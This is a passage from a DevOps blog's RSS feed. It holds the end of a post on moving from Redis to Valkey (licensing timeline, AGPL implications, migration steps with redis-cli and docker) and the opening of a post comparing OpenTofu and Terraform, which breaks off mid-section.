          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Valkey is production-ready in 2026. It is wire-compatible with Redis, governed by the Linux Foundation, on a steady release cadence (9.1 in May 2026), and is the default on AWS ElastiCache and MemoryDB.</li>
<li>Redis is open source again under AGPLv3 since Redis 8, so &quot;Redis is no longer open source&quot; is out of date. The catch is that AGPL is copyleft, while Valkey stays on permissive BSD.</li>
<li>The AGPL question only bites if you modify the Redis source and offer it to others over a network. If you just use Redis as a cache or database, it changes almost nothing.</li>
<li>Migration from Redis 7.2.x is close to a drop-in: same protocol, same RDB and AOF files, and an in-place upgrade path on ElastiCache.</li>
<li>The real divergence is features added after the fork. Redis 8 bundles JSON, search, time series, and vector sets into core. Valkey ships those as separate modules.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A running Redis instance (self-hosted or managed) and access to its configuration</li>
<li>The ability to take and restore an RDB snapshot, or to run a replica</li>
<li>A staging environment where you can test before touching production</li>
<li>Familiarity with <code>redis-cli</code> and your client library&#39;s connection settings</li>
</ul>
<h2 id="h2-how-we-got-here-the-license-timeline" class="group relative scroll-mt-24">
        <a href="#h2-how-we-got-here-the-license-timeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How we got here: the license timeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-we-got-here-the-license-timeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The decision makes more sense once you have the sequence straight.</p>
<pre><code class="hljs language-text">2009-2024   Redis ships under the permissive BSD license
Mar 2024    Redis Inc. relicenses to SSPLv1 + RSALv2 (source-available, not OSI open source)
Mar 2024    Linux Foundation forks Redis 7.2.4 as Valkey (BSD), backed by AWS, Google, Oracle, Snap
2024-2025   Valkey ships 8.0 and 8.1 with multi-threaded I/O and big throughput gains
May 2025    Redis 8 adds AGPLv3 as a third license; Redis Open Source is OSI open source again
2026        Valkey 9.1 (May) and Redis 8.2 (Feb) both shipping; both fast, both open source
</code></pre><p>Two things matter in that timeline. First, Valkey never carried the source-available license. It forked from the last BSD release, so its license has been permissive the whole time. Second, Redis did not stay source-available. Redis 8 added the OSI-approved AGPLv3, which means Redis is open source again, just under a copyleft license instead of the old permissive one.</p>
<h2 id="h2-is-valkey-actually-production-ready" class="group relative scroll-mt-24">
        <a href="#h2-is-valkey-actually-production-ready" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Is Valkey actually production-ready?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-is-valkey-actually-production-ready"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Yes, and the evidence is not subtle.</p>
<p><strong>Releases and stability.</strong> Valkey shipped 8.0 and 8.1 through 2024 and 2025, then 9.0 and 9.1 in 2026. The 8.1 line is still maintained (8.1.8 landed in June 2026), so you get the same kind of long-lived release branches you expect from mature infrastructure software.</p>
<p><strong>Performance.</strong> Valkey put most of its early effort into multi-core throughput. Valkey 9 added pipeline memory prefetching, zero-copy responses, and SIMD optimizations for commands like <code>BITCOUNT</code>. Valkey 9.1 reports around 2.1 million requests per second on 512-byte payloads. Redis 8 also added large gains, so both are fast; Valkey tends to pull ahead on many cores.</p>
<p><strong>Cloud adoption.</strong> This is the strongest signal. AWS made Valkey the default for new ElastiCache and MemoryDB clusters and prices it below Redis OSS, roughly 20% lower on ElastiCache and about 30% lower on MemoryDB. Google Cloud offers Memorystore for Valkey, and Oracle supports it on OCI Cache. When the major clouds make a fork their default, the &quot;will it survive&quot; question is settled.</p>
<p><strong>Governance.</strong> Valkey sits under the Linux Foundation with a multi-company steering model. No single vendor can relicense it, which is the exact failure mode that started this whole story.</p>
<h2 id="h2-where-valkey-and-redis-diverge-now" class="group relative scroll-mt-24">
        <a href="#h2-where-valkey-and-redis-diverge-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where Valkey and Redis diverge now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-where-valkey-and-redis-diverge-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Up to Redis 7.2.4 the two are the same code. After the fork they drew apart, and that is where your decision lives.</p>
<p>The biggest difference is the built-in feature set. Redis 8 folded the former Redis Stack into the core engine, so JSON, the Query Engine, time series, probabilistic types, and vector sets all ship in the box. Vector sets in particular, built by the original Redis creator, make Redis a strong default for AI and semantic-search features.</p>
<p>Valkey keeps the core lean and ships those capabilities as separate modules, such as <code>valkey-search</code> and <code>valkey-json</code>. You get similar functionality, but you assemble it rather than getting it bundled. If your workload is a plain cache, a session store, a rate limiter, or a queue, this difference does not touch you. If you want vector search inside the data store with no extra setup, Redis 8 is ahead today.</p>
<p>For the full side-by-side across licensing, performance, modules, and managed-service cost, the <a href="/comparisons/valkey-vs-redis">Valkey vs Redis comparison</a> lays it out in a table.</p>
<h2 id="h2-the-agpl-question-does-it-actually-affect-you" class="group relative scroll-mt-24">
        <a href="#h2-the-agpl-question-does-it-actually-affect-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The AGPL question: does it actually affect you?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-agpl-question-does-it-actually-affect-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the part that gets the most confused commentary, so be precise about it.</p>
<p>AGPLv3 is a copyleft license with a network clause. The obligation it adds, on top of the GPL, is this: if you modify the software and let users interact with it over a network, you have to make your modified source available to those users. That is the whole of it.</p>
<p>Walk it through your own setup:</p>
<pre><code class="hljs language-text">Do you modify the Redis source code?
        |
        +-- No --&gt; AGPL changes nothing for you. Use Redis 8 freely.
        |
        Yes
        |
Do you offer that modified Redis to others over a network
(for example, as part of a hosted product)?
        |
        +-- No (internal use only) --&gt; No source-disclosure obligation in practice.
        |
        +-- Yes --&gt; You may have to publish your modifications. This is the
                    case where teams choose Valkey&#x27;s BSD license instead.
</code></pre><p>For the large majority of teams, the honest answer is that AGPL does not affect them. You pull the official image, run it as a cache or database, and never touch the source. Nothing is triggered. The teams that genuinely care are the ones building a product on top of a modified engine, especially anyone offering a hosted data-store service. For them, Valkey&#39;s permissive BSD license removes the question entirely, which is exactly why several vendors standardized on Valkey.</p>
<h2 id="h2-migrating-from-redis-to-valkey" class="group relative scroll-mt-24">
        <a href="#h2-migrating-from-redis-to-valkey" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migrating from Redis to Valkey
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-migrating-from-redis-to-valkey"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is the good news that makes the decision low-risk: for Redis 7.2.x and earlier, moving to Valkey is close to a drop-in. The two speak the same RESP protocol and read the same on-disk formats.</p>
<h3 id="h3-step-1-confirm-your-version-and-features" class="group relative scroll-mt-24">
        <a href="#h3-step-1-confirm-your-version-and-features" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: confirm your version and features
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-1-confirm-your-version-and-features"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Check what you are running and whether you use any Redis 8 core modules.</p>
<pre><code class="hljs language-bash">redis-cli INFO server | grep redis_version
<span class="hljs-comment"># redis_version:7.2.5</span>

<span class="hljs-comment"># If you use modules, list them. Valkey core will not have Redis 8 modules.</span>
redis-cli MODULE LIST
</code></pre><p>If <code>MODULE LIST</code> is empty and you are on 7.2.x, you are in the easy path. If you depend on Redis Query Engine, JSON, or vector sets, plan to add the matching Valkey modules or keep those workloads on Redis.</p>
<h3 id="h3-step-2-back-up-your-data" class="group relative scroll-mt-24">
        <a href="#h3-step-2-back-up-your-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: back up your data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-2-back-up-your-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Take an RDB snapshot before anything else.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Trigger a snapshot and copy the file off the box</span>
redis-cli SAVE
<span class="hljs-built_in">cp</span> /var/lib/redis/dump.rdb /backup/dump.rdb.$(<span class="hljs-built_in">date</span> +%F)
</code></pre><h3 id="h3-step-3-stand-up-valkey-and-load-the-snapshot" class="group relative scroll-mt-24">
        <a href="#h3-step-3-stand-up-valkey-and-load-the-snapshot" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: stand up Valkey and load the snapshot
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-3-stand-up-valkey-and-load-the-snapshot"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Valkey reads the same <code>dump.rdb</code>, so you can point a fresh Valkey instance at it.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Run Valkey 9.1 in a container, mounting the existing RDB</span>
docker run -d --name valkey \
  -p 6379:6379 \
  -v /backup:/data \
  valkey/valkey:9.1 valkey-server --<span class="hljs-built_in">dir</span> /data --dbfilename dump.rdb.2026-06-05

<span class="hljs-comment"># Verify it came up and loaded your keys</span>
valkey-cli DBSIZE
</code></pre><p>The CLI is <code>valkey-cli</code>, but <code>redis-cli</code> works against Valkey too, since the protocol is identical.</p>
<h3 id="h3-step-4-cut-over-clients" class="group relative scroll-mt-24">
        <a href="#h3-step-4-cut-over-clients" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: cut over clients
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-4-cut-over-clients"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You do not need a new client library. Point your existing Redis client at the Valkey endpoint. The connection settings and commands are the same.</p>
<pre><code class="hljs language-text"># Before
REDIS_URL=redis://redis.internal:6379

# After (same scheme, same port, new host)
REDIS_URL=redis://valkey.internal:6379
</code></pre><p>On AWS, the path is even shorter. ElastiCache offers an in-place upgrade from supported Redis OSS versions to Valkey, so you can switch the engine on an existing cluster without standing up new infrastructure.</p>
<h3 id="h3-step-5-test-on-staging-first" class="group relative scroll-mt-24">
        <a href="#h3-step-5-test-on-staging-first" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: test on staging first
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-5-test-on-staging-first"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run your full test suite against Valkey in staging before production. Pay attention to anything that calls a command added after the 7.2.4 fork, or any module you assumed was present. A clean migration behaves identically because the command surface is the same.</p>
<h2 id="h2-should-you-switch-a-quick-framework" class="group relative scroll-mt-24">
        <a href="#h2-should-you-switch-a-quick-framework" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Should you switch? A quick framework
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-should-you-switch-a-quick-framework"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no single right answer, so match the choice to your situation.</p>
<p><strong>Move to Valkey</strong> if you self-host and want a permissive license that cannot be changed under you, if you want to cut managed cache costs on AWS or Google Cloud, or if you build a product on top of the engine and want to avoid the AGPL network clause.</p>
<p><strong>Stay on or choose Redis 8</strong> if you need the bundled core modules, especially vector sets and the Query Engine for AI features, or if you rely on Redis Enterprise capabilities like active-active replication and a vendor support contract.</p>
<p><strong>It is a tie, so do not rush</strong> if you run a managed cache, never modify the engine, and are happy with your costs. Both are open source, both are fast, and the migration stays easy. Switch the day cost or features change the math, not before.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Valkey question is settled enough to act on in 2026. Valkey is production-ready, wire-compatible, governed by a foundation, and cheaper on managed services. Redis answered the criticism that started the fork by returning to open source with Redis 8, and it now ships a richer core with search and vector sets built in.</p>
<p>The mental model to keep:</p>
<ul>
<li>The license split is real but narrower than the headlines: BSD (Valkey) versus AGPL copyleft (Redis). AGPL only matters if you modify and serve the engine.</li>
<li>The migration is easy and low-risk for Redis 7.2.x: same protocol, same files, and an in-place path on ElastiCache.</li>
<li>The divergence to watch is post-fork features. Redis 8 bundles modules into core; Valkey keeps them separate.</li>
</ul>
<p>Decide on what you actually need, the license terms, the managed cost, and the built-in features, rather than on which project has the louder story. For the head-to-head table, the <a href="/comparisons/valkey-vs-redis">Valkey vs Redis comparison</a> covers it point by point.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[OpenTofu in 2026: Should You Switch from Terraform (and What It Actually Costs You)]]></title>
      <link>https://devops.anhp.site/posts/opentofu-2026-switch-from-terraform</link>
      <description><![CDATA[OpenTofu has matured into a real Terraform alternative in 2026. Here is what the fork gives you, why the migration is easier than you think, and where the actual lock-in hides.]]></description>
      <pubDate>Tue, 02 Jun 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/opentofu-2026-switch-from-terraform</guid>
      <category><![CDATA[Terraform]]></category>
      
      <category><![CDATA[Terraform]]></category><category><![CDATA[OpenTofu]]></category><category><![CDATA[Infrastructure as Code]]></category><category><![CDATA[Migration]]></category><category><![CDATA[State Management]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<p>If you manage infrastructure with Terraform, one question has been sitting in your backlog since 2023: do you stay on Terraform, or move to OpenTofu? For a long time the honest answer was &quot;wait and see.&quot; The fork was young, the feature gap was small, and nobody wanted to bet production state files on a project that might fade.</p>
<p>In 2026 the picture is clearer. HashiCorp is now part of IBM, Terraform stayed on a source-available license, and OpenTofu has shipped real features that Terraform&#39;s open-source CLI does not have. The fork is no longer a protest vote. It is a working tool with its own roadmap.</p>
<p>This post answers the practical question directly. What changed, what OpenTofu gives you that Terraform does not, how the migration actually works (it is easier than most people expect), where the real lock-in hides, and a simple framework for deciding whether to switch now, run both, or stay put.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Terraform is now an IBM product under the BSL 1.1 source-available license. OpenTofu is MPL 2.0, sits in the CNCF, and is governed so no single company controls it.</li>
<li>OpenTofu v1.12 (May 2026) ships features Terraform&#39;s open-source CLI lacks: native state encryption, the <code>-exclude</code> flag, provider <code>for_each</code>, and early variable evaluation.</li>
<li>Migrating from Terraform to OpenTofu is the easy part. The state format is the same, you swap the <code>terraform</code> binary for <code>tofu</code>, run <code>tofu init</code>, and validate with <code>tofu plan</code>. It is reversible.</li>
<li>The real lock-in starts later, once you adopt OpenTofu-only features like encrypted state. After that, going back to Terraform is no longer clean.</li>
<li>Switch now if you want the new features or open governance. Run both if you have a large estate tied to HashiCorp Cloud. Stay if you are happy on Terraform Cloud and licensing does not affect you.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A working Terraform setup (CLI 1.5 or later) with at least one project and a state file</li>
<li>Access to your state backend (S3, GCS, Azure Blob, Terraform Cloud, or local)</li>
<li>Permission to change your CI/CD pipeline definitions</li>
<li>A test or staging workspace you can migrate before touching production</li>
</ul>
<h2 id="h2-the-2026-reality-who-owns-what" class="group relative scroll-mt-24">
        <a href="#h2-the-2026-reality-who-owns-what" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The 2026 reality: who owns what
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-2026-reality-who-owns-what"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two things drive the decision in 2026, and neither is about syntax.</p>
<p>First, ownership. IBM completed its acquisition of HashiCorp, a 6.4 billion dollar deal, in early 2025. Terraform is now an IBM product. IBM has a long history of keeping acquisitions open, with Red Hat the obvious example, but the Terraform license has not moved.</p>
<p>Second, licensing. In August 2023 HashiCorp moved Terraform from the Mozilla Public License (MPL) 2.0 to the Business Source License (BSL) 1.1. The BSL is source-available, not open source. It restricts using Terraform to build a competing product, and each release converts back to MPL only four years after it ships. For most teams that run Terraform internally, the BSL changes nothing day to day. For anyone building tooling around Terraform, or who cares about vendor-neutral governance, it matters.</p>
<p>OpenTofu sits on the other side of that line. It was forked from the last MPL-licensed Terraform release, so the BSL never applied to its code. The CNCF accepted OpenTofu in April 2025, and a Technical Steering Committee under the Linux Foundation sets the roadmap. No single company has the votes to change the license or the direction.</p>
<pre><code class="hljs language-text">                 Terraform                  OpenTofu
License          BSL 1.1 (source-available) MPL 2.0 (open source)
Owner            IBM (HashiCorp)            CNCF / Linux Foundation
Governance       Single vendor              Multi-company TSC
State format     .tfstate (JSON)            .tfstate (JSON, same)
</code></pre><h2 id="h2-what-opentofu-has-that-terraform-does-not" class="group relative scroll-mt-24">
        <a href="#h2-what-opentofu-has-that-terraform-does-not" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What OpenTofu has that Terraform does not
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-opentofu-has-that-terraform-does-not"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>By 2026 OpenTofu is past parity in several areas. These are the features that actually pull teams across.</p>
<h3 id="h3-native-state-encryption" class="group relative scroll-mt-24">
        <a href="#h3-native-state-encryption" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Native state encryption
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-native-state-encryption"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
